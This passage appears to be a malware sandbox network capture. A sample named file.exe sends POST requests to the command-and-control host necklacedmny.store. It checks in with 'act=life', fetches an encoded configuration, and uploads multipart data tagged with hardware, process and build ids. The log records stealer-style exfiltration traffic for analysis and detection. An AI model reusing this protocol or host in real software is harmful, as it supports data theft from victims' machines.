Oct 30, 2024 21:57:29.248368979 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.114.96.3	443	744	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:55:08 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 20:55:08 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 20:55:08 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:55:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tph4lb24dt3btfvodhnn8jbrmf; expires=Sun, 23-Feb-2025 14:41:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZUNmvfAiy4M9pnGjQemBLpGznWkmwqlY%2FbOyxYyItreVF08%2FA%2FTVninXrnTooiE5dIdEwHeaxqua53ZIuLPgePlTc8DpOmHAY50P8pXnlT9ITf9huVv6AI2SJ0AQaXnu9r%2Btx90%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4df38e56eb12-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1123&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2531468&cwnd=251&unsent_bytes=0&cid=804a68ce0db19c7c&ts=512&x=0"
2024-10-30 20:55:08 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 20:55:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	188.114.96.3	443	744	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:55:09 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 20:55:09 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 20:55:09 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:55:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ud6agva3kvpppni8un6cck319s; expires=Sun, 23-Feb-2025 14:41:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6XFfLxN87Dg8NDli2eM4PjqWdDvH5RYg4jn0pP24UrJ1ah2vjzKI32tj2QKY%2F9tL%2FqUuJ81dUtQBvtVWODrVmgkuE5Hdkrga4jf%2FTHRDA6duyLcYdYIqAH5IdJO5D8ZKAld%2BP9U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4dfaec702c98-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1563&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=1807740&cwnd=238&unsent_bytes=0&cid=6efcc6a54246d012&ts=543&x=0"
2024-10-30 20:55:09 UTC	354	IN	Data Raw: 34 64 62 0d 0a 36 4f 33 44 59 71 6f 6f 71 75 57 6b 49 61 65 50 32 41 50 78 52 53 55 41 6d 57 4f 2f 71 31 30 53 5a 65 44 4d 4a 30 71 4e 47 43 61 54 7a 37 56 41 6b 42 79 47 78 39 64 45 68 62 57 73 63 59 51 67 43 53 4c 34 42 35 32 52 4f 33 4d 4a 6b 36 6b 4c 61 50 74 31 42 4e 4b 4c 6f 67 37 5a 54 59 62 48 77 56 6d 46 74 59 4e 34 30 79 42 4c 49 71 4e 42 32 73 45 2f 63 77 6d 43 72 55 77 6c 2f 58 52 46 67 49 47 6b 43 73 39 4c 7a 6f 54 49 54 4d 4c 71 76 57 4b 62 4b 30 78 74 38 51 36 64 68 33 39 33 48 38 4c 32 42 51 66 6f 62 45 65 6c 6a 4c 41 4a 69 46 57 47 6e 6f 5a 45 79 61 33 69 49 5a 41 67 52 32 7a 2f 42 39 54 44 4e 58 6f 42 67 36 68 4e 4f 75 52 2b 54 6f 43 50 70 77 76 46 51 74 71 4a 77 6b 76 4a 37 4c 64 69 30 32 6b 48 5a 65 4e 42 68 59 6c 73 51 67 53 54 76 31 Data Ascii: 4db6O3DYqooquWkIaeP2APxRSUAmWO/q10SZeDMJ0qNGCaTz7VAkByGx9dEhbWscYQgCSL4B52RO3MJk6kLaPt1BNKLog7ZTYbHwVmFtYN40yBLIqNB2sE/cwmCrUwl/XRFgIGkCs9LzoTITMLqvWKbK0xt8Q6dh393H8L2BQfobEeljLAJiFWGnoZEya3iIZAgR2z/B9TDNXoBg6hNOuR+ToCPpwvFQtqJwkvJ7Ldi02kHZeNBhYlsQgSTv1
2024-10-30 20:55:09 UTC	896	IN	Data Raw: 38 69 56 7a 6b 6a 4f 36 4b 68 71 6d 69 70 4b 59 76 59 4c 30 73 6f 2f 64 77 32 49 6f 55 38 73 34 6e 64 43 69 6f 2f 68 54 6f 68 4e 30 4d 65 65 41 2b 62 6f 71 6d 61 66 4d 51 56 59 75 78 36 54 30 48 39 33 43 38 4c 32 42 53 44 71 65 55 65 42 67 4b 49 49 77 31 6a 49 6c 63 42 4f 77 50 2b 38 5a 4a 30 74 52 48 44 78 44 39 76 4b 4e 6e 73 4f 68 36 6c 42 61 4b 45 36 51 35 4c 50 2b 55 44 70 52 38 4f 4c 7a 46 54 46 72 61 55 76 69 6d 64 41 62 72 74 5a 6e 63 30 2b 64 41 61 47 6f 45 73 73 34 33 78 4b 68 34 43 6e 43 73 68 4e 77 6f 2f 4f 51 73 6a 6d 74 57 47 57 4b 6b 4e 6b 39 77 44 59 69 58 45 77 41 4a 72 75 48 57 6a 42 66 55 65 59 7a 5a 51 44 78 6b 54 50 6b 59 5a 63 69 2f 54 36 5a 70 39 6e 48 79 4c 31 42 4e 4c 62 50 6d 49 43 6a 4c 78 4a 4c 65 6c 33 52 34 53 50 70 41 66 46 Data Ascii: 8iVzkjO6KhqmipKYvYL0so/dw2IoU8s4ndCio/hTohN0MeeA+boqmafMQVYux6T0H93C8L2BSDqeUeBgKIIw1jIlcBOwP+8ZJ0tRHDxD9vKNnsOh6lBaKE6Q5LP+UDpR8OLzFTFraUvimdAbrtZnc0+dAaGoEss43xKh4CnCshNwo/OQsjmtWGWKkNk9wDYiXEwAJruHWjBfUeYzZQDxkTPkYZci/T6Zp9nHyL1BNLbPmICjLxJLel3R4SPpAfF
2024-10-30 20:55:09 UTC	1369	IN	Data Raw: 33 66 39 31 0d 0a 4d 52 38 65 4f 7a 30 72 58 35 37 5a 76 67 53 70 4e 5a 2f 55 4e 32 4d 59 2f 63 51 61 4d 70 45 35 6f 6f 54 70 44 6b 73 2f 35 51 4f 64 48 32 4a 58 4d 53 4e 53 76 6a 32 4b 64 4b 55 42 30 75 78 36 54 30 48 39 33 43 38 4c 32 42 53 50 70 64 6b 69 4b 69 62 4d 4f 78 31 6a 43 6c 63 4a 4e 77 65 47 30 61 4a 34 6f 51 6e 44 2f 41 63 2f 49 4f 6e 63 4a 6a 37 78 41 61 4b 45 36 51 35 4c 50 2b 55 44 79 66 73 2b 58 31 30 53 48 32 4c 6c 76 6e 53 42 52 49 75 52 50 78 49 6b 34 66 45 66 61 37 6b 59 6b 34 6e 4e 42 68 5a 32 72 44 4d 6c 59 7a 34 37 50 53 63 54 6a 74 57 71 66 49 6c 56 70 39 41 6e 53 79 44 4a 39 44 49 61 75 42 57 61 76 66 56 7a 4b 31 2b 45 68 78 55 58 61 68 4e 63 42 38 4f 36 30 62 35 51 78 42 33 32 31 47 4a 33 4f 4d 7a 42 66 77 71 39 4a 4a 4f 35 31 Data Ascii: 3f91MR8eOz0rX57ZvgSpNZ/UN2MY/cQaMpE5ooTpDks/5QOdH2JXMSNSvj2KdKUB0ux6T0H93C8L2BSPpdkiKibMOx1jClcJNweG0aJ4oQnD/Ac/IOncJj7xAaKE6Q5LP+UDyfs+X10SH2LlvnSBRIuRPxIk4fEfa7kYk4nNBhZ2rDMlYz47PScTjtWqfIlVp9AnSyDJ9DIauBWavfVzK1+EhxUXahNcB8O60b5QxB321GJ3OMzBfwq9JJO51
2024-10-30 20:55:09 UTC	1369	IN	Data Raw: 59 4c 77 30 37 4d 68 38 74 49 79 2b 4f 7a 62 5a 73 72 51 48 44 32 42 4e 58 44 4e 6e 55 4c 6a 36 31 58 4b 2b 34 36 43 73 71 49 75 55 43 51 43 75 2b 30 38 57 43 46 38 76 52 34 30 79 42 4c 49 71 4e 42 33 4d 45 34 66 67 4f 51 6f 46 63 6d 36 48 70 43 67 6f 65 6d 44 4d 5a 45 32 6f 2f 48 51 38 76 69 73 6d 69 58 4a 6b 4e 6d 39 77 61 64 68 33 39 33 48 38 4c 32 42 51 44 73 59 46 37 49 6f 61 6f 41 7a 31 72 65 6e 49 5a 63 69 2f 54 36 5a 70 39 6e 48 79 4c 2f 43 74 66 41 50 48 6b 44 6a 36 35 4d 4a 2b 5a 79 53 59 4b 64 6f 41 72 61 54 73 32 47 79 55 6e 42 35 62 5a 75 6e 79 4e 56 61 62 74 50 6e 63 34 6e 4d 46 2f 43 6a 6b 34 2b 7a 47 68 57 79 70 44 76 47 59 68 4e 78 4d 65 65 41 38 7a 68 75 32 43 5a 49 55 78 6e 39 67 48 59 77 7a 68 38 42 34 4b 74 51 79 37 69 63 6b 79 47 67 Data Ascii: YLw07Mh8tIy+OzbZsrQHD2BNXDNnULj61XK+46CsqIuUCQCu+08WCF8vR40yBLIqNB3ME4fgOQoFcm6HpCgoemDMZE2o/HQ8vismiXJkNm9wadh393H8L2BQDsYF7IoaoAz1renIZci/T6Zp9nHyL/CtfAPHkDj65MJ+ZySYKdoAraTs2GyUnB5bZunyNVabtPnc4nMF/Cjk4+zGhWypDvGYhNxMeeA8zhu2CZIUxn9gHYwzh8B4KtQy7ickyGg
2024-10-30 20:55:09 UTC	1369	IN	Data Raw: 50 77 49 7a 41 54 63 54 72 74 6d 7a 54 61 51 64 6c 34 30 47 46 69 52 68 71 43 6f 53 35 56 42 33 6f 65 68 58 4b 6b 4f 38 5a 69 45 33 45 78 35 34 44 79 4f 47 77 62 4a 59 6a 54 32 58 34 41 4e 48 4e 4d 6e 30 44 69 36 70 41 4f 76 31 38 53 6f 71 41 72 77 2f 45 57 4d 61 43 78 6b 2b 46 6f 2f 70 6d 69 32 63 66 49 73 6f 57 33 59 6b 67 50 68 37 43 71 55 6c 6f 74 7a 70 4c 68 35 32 74 44 38 68 4c 79 34 50 4e 52 4d 50 72 75 32 4b 57 4a 45 4a 6b 2b 67 48 52 77 7a 68 34 44 59 79 6a 51 79 7a 70 66 41 54 45 7a 36 59 59 69 42 4b 49 74 63 74 4e 7a 4f 36 38 62 49 55 50 64 69 4c 6b 54 38 53 4a 4f 48 78 48 32 75 35 42 49 2b 64 32 51 59 4b 4b 6f 41 6a 43 51 73 65 49 31 45 4c 4b 35 4c 31 71 6e 69 68 4a 5a 2f 55 54 32 73 49 30 65 41 36 4d 71 41 56 6d 72 33 31 63 79 74 66 68 4e 73 Data Ascii: PwIzATcTrtmzTaQdl40GFiRhqCoS5VB3oehXKkO8ZiE3Ex54DyOGwbJYjT2X4ANHNMn0Di6pAOv18SoqArw/EWMaCxk+Fo/pmi2cfIsoW3YkgPh7CqUlotzpLh52tD8hLy4PNRMPru2KWJEJk+gHRwzh4DYyjQyzpfATEz6YYiBKItctNzO68bIUPdiLkT8SJOHxH2u5BI+d2QYKKoAjCQseI1ELK5L1qnihJZ/UT2sI0eA6MqAVmr31cytfhNs
2024-10-30 20:55:09 UTC	1369	IN	Data Raw: 7a 6b 66 4c 2f 37 74 75 30 32 6b 48 5a 65 4e 42 68 59 6b 4f 5a 67 43 46 6f 51 63 42 36 47 46 46 67 49 79 71 44 49 68 56 68 70 36 47 52 4d 6d 74 34 69 47 65 4b 30 70 6d 36 51 33 64 79 54 5a 33 44 5a 43 68 53 69 58 73 65 6b 47 59 6a 72 4d 50 77 30 2f 4c 67 38 6c 4d 79 65 57 77 49 64 31 6e 51 48 71 37 57 5a 33 6c 50 47 45 4e 77 49 6c 66 50 75 68 32 56 59 47 43 72 55 44 58 42 4e 48 48 77 55 2b 46 74 66 70 68 6b 69 70 56 5a 2f 6f 4c 31 38 51 33 66 77 4b 48 6f 55 45 73 35 48 52 57 68 49 43 68 42 73 4e 4c 7a 59 54 4e 53 63 76 6b 71 43 48 64 5a 30 42 36 75 31 6d 64 34 79 52 78 43 6f 37 73 61 79 50 35 66 51 61 72 67 61 6f 48 78 46 79 49 6d 49 68 61 68 65 71 32 49 63 74 6e 54 6d 7a 33 41 74 72 42 4e 33 55 48 69 61 35 4b 49 75 46 39 56 6f 43 44 71 78 4c 48 53 63 57 Data Ascii: zkfL/7tu02kHZeNBhYkOZgCFoQcB6GFFgIyqDIhVhp6GRMmt4iGeK0pm6Q3dyTZ3DZChSiXsekGYjrMPw0/Lg8lMyeWwId1nQHq7WZ3lPGENwIlfPuh2VYGCrUDXBNHHwU+FtfphkipVZ/oL18Q3fwKHoUEs5HRWhIChBsNLzYTNScvkqCHdZ0B6u1md4yRxCo7sayP5fQargaoHxFyImIhaheq2IctnTmz3AtrBN3UHia5KIuF9VoCDqxLHScW
2024-10-30 20:55:09 UTC	1369	IN	Data Raw: 2f 54 36 5a 70 39 6e 48 79 4c 37 42 64 48 4b 4f 48 34 49 6a 36 46 43 49 2b 42 77 53 70 69 41 70 41 6a 45 51 73 57 56 7a 45 6e 58 35 4c 4e 73 6e 53 39 56 59 62 74 50 6e 63 34 6e 4d 46 2f 43 6e 45 38 72 34 32 78 4a 68 63 2b 2b 54 74 45 4b 7a 34 75 47 47 34 58 2f 71 47 47 59 4a 30 42 73 36 51 44 56 78 6a 56 77 41 59 6d 6b 52 69 48 72 64 45 32 4d 6a 71 77 42 79 55 72 4e 68 38 39 52 79 4b 33 30 49 5a 51 2f 42 7a 71 37 4e 74 48 43 44 6e 4d 52 77 72 45 4c 4d 61 39 39 53 4d 72 58 34 51 48 61 52 38 43 44 78 6b 37 44 35 72 74 67 6b 43 64 48 59 66 73 45 31 73 59 35 64 77 71 49 70 30 77 36 35 33 35 57 69 6f 4f 6c 51 49 59 4b 7a 35 2b 47 47 34 58 64 75 57 71 66 4a 30 70 33 75 78 36 54 30 48 39 33 43 38 4c 32 42 53 44 6b 63 55 4b 42 6a 4b 49 4f 77 30 44 48 69 4d 78 46 Data Ascii: /T6Zp9nHyL7BdHKOH4Ij6FCI+BwSpiApAjEQsWVzEnX5LNsnS9VYbtPnc4nMF/CnE8r42xJhc++TtEKz4uGG4X/qGGYJ0Bs6QDVxjVwAYmkRiHrdE2MjqwByUrNh89RyK30IZQ/Bzq7NtHCDnMRwrELMa99SMrX4QHaR8CDxk7D5rtgkCdHYfsE1sY5dwqIp0w6535WioOlQIYKz5+GG4XduWqfJ0p3ux6T0H93C8L2BSDkcUKBjKIOw0DHiMxF
2024-10-30 20:55:09 UTC	1369	IN	Data Raw: 43 65 4c 45 73 67 2b 67 7a 4e 7a 6e 38 2b 52 34 54 75 48 58 69 68 4f 6b 43 62 7a 2f 6c 51 6d 68 47 64 31 4a 45 54 6c 2f 4c 30 65 4e 4d 78 42 7a 71 70 54 35 33 62 66 79 68 48 78 61 31 58 4f 75 6c 35 55 6f 6e 49 6e 7a 37 6f 51 63 53 45 79 6b 4c 43 72 66 51 68 6e 47 63 66 57 37 73 43 7a 39 74 77 59 52 47 50 76 6b 4a 6b 35 32 74 4a 68 73 2f 76 51 49 52 4f 77 34 76 44 52 4e 57 69 71 48 47 59 4b 31 45 75 2f 78 4f 64 68 33 39 68 44 49 32 38 53 79 2b 67 61 31 4b 48 6e 36 49 46 7a 77 62 41 6c 73 74 50 68 61 50 36 64 4a 67 72 51 57 2f 75 54 73 7a 66 50 47 59 41 7a 71 5a 55 4a 65 4d 36 65 38 54 50 75 55 43 51 43 76 32 45 79 45 33 43 2b 36 73 73 73 79 78 4c 59 66 63 41 32 6f 6c 78 4d 41 48 43 39 68 5a 6d 72 33 35 56 79 74 66 78 55 70 4d 66 6d 39 43 57 45 64 71 6a 6f Data Ascii: CeLEsg+gzNzn8+R4TuHXihOkCbz/lQmhGd1JETl/L0eNMxBzqpT53bfyhHxa1XOul5UonInz7oQcSEykLCrfQhnGcfW7sCz9twYRGPvkJk52tJhs/vQIROw4vDRNWiqHGYK1Eu/xOdh39hDI28Sy+ga1KHn6IFzwbAlstPhaP6dJgrQW/uTszfPGYAzqZUJeM6e8TPuUCQCv2EyE3C+6sssyxLYfcA2olxMAHC9hZmr35VytfxUpMfm9CWEdqjo
2024-10-30 20:55:09 UTC	1369	IN	Data Raw: 48 4f 71 68 50 6e 64 74 2f 4b 45 66 46 6f 45 67 70 37 48 52 48 6d 4a 32 6e 41 39 35 4a 6a 37 6e 34 5a 73 6a 67 76 32 2b 55 47 58 6c 44 38 52 48 51 78 6a 68 4f 4f 62 57 2f 51 6a 69 74 58 45 65 63 6a 4f 46 4f 69 46 4b 49 33 34 5a 69 7a 2f 32 33 62 70 52 6e 43 53 4c 2f 51 59 57 4a 47 6e 30 4b 68 36 42 43 61 73 35 77 56 49 65 41 70 6b 43 47 43 73 54 48 6e 67 50 45 35 36 70 73 6e 43 41 4c 5a 65 45 47 6e 59 64 2f 66 6b 66 61 37 6b 51 69 2f 33 64 4c 6a 63 4f 6e 44 73 59 4b 31 38 6e 66 41 39 4f 74 34 6a 4c 64 5a 31 55 69 6f 30 47 61 78 7a 4a 78 42 49 79 74 56 7a 72 70 65 56 4b 4a 79 4a 38 2b 37 55 66 46 67 73 68 45 2b 39 4f 62 61 34 4d 71 53 47 57 35 49 64 72 66 50 45 34 35 74 62 39 43 4f 4b 31 63 52 35 79 4d 34 55 36 49 55 6f 6a 66 68 6d 4c 50 2f 62 64 75 6c 47 Data Ascii: HOqhPndt/KEfFoEgp7HRHmJ2nA95Jj7n4Zsjgv2+UGXlD8RHQxjhOObW/QjitXEecjOFOiFKI34Ziz/23bpRnCSL/QYWJGn0Kh6BCas5wVIeApkCGCsTHngPE56psnCALZeEGnYd/fkfa7kQi/3dLjcOnDsYK18nfA9Ot4jLdZ1Uio0GaxzJxBIytVzrpeVKJyJ8+7UfFgshE+9Oba4MqSGW5IdrfPE45tb9COK1cR5yM4U6IUojfhmLP/bdulG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	188.114.96.3	443	744	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:55:10 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-30 20:55:10 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:55:11 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:55:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ji0rk8e79bk7l5or69i3dsfo1u; expires=Sun, 23-Feb-2025 14:41:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4RcZuSS7Lnx%2Fk1fGqgQOwUBBJphvieTxQPPU66eFeurV2FGPGW16baqg%2FK9QzwuNBAuV4gmkLNtoDLA4T4ar1uEOzqoxbPCSwFdpLuHzYKa0zRFdxSzvAQ%2FMYAyaFhMF5GzypiM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4e04380d4620-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1216&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13782&delivery_rate=2326104&cwnd=251&unsent_bytes=0&cid=c3e87824875c4b5a&ts=514&x=0"
2024-10-30 20:55:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:55:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	188.114.96.3	443	744	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:55:11 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-30 20:55:11 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:55:12 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:55:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eh78mvrov4tv877kb8kvjac9uf; expires=Sun, 23-Feb-2025 14:41:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q06yryIB%2FYpoHWqANByoIIZB7qykEsGKdyF4vYiiAZx9QRqIPJD8n7EEkboOfqdyvHNoi%2BmXAeLQZoRHWp7%2BgyTj600K9HGY%2B%2BFf31GclReLIXhKAoEffwIeYDqHtsE26XIAccQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4e0c3f3a0c0f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1273&sent=8&recv=20&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16024&delivery_rate=2220858&cwnd=67&unsent_bytes=0&cid=d92e1092de7e8ea5&ts=546&x=0"
2024-10-30 20:55:12 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:55:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	188.114.96.3	443	744	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:55:13 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-30 20:55:13 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
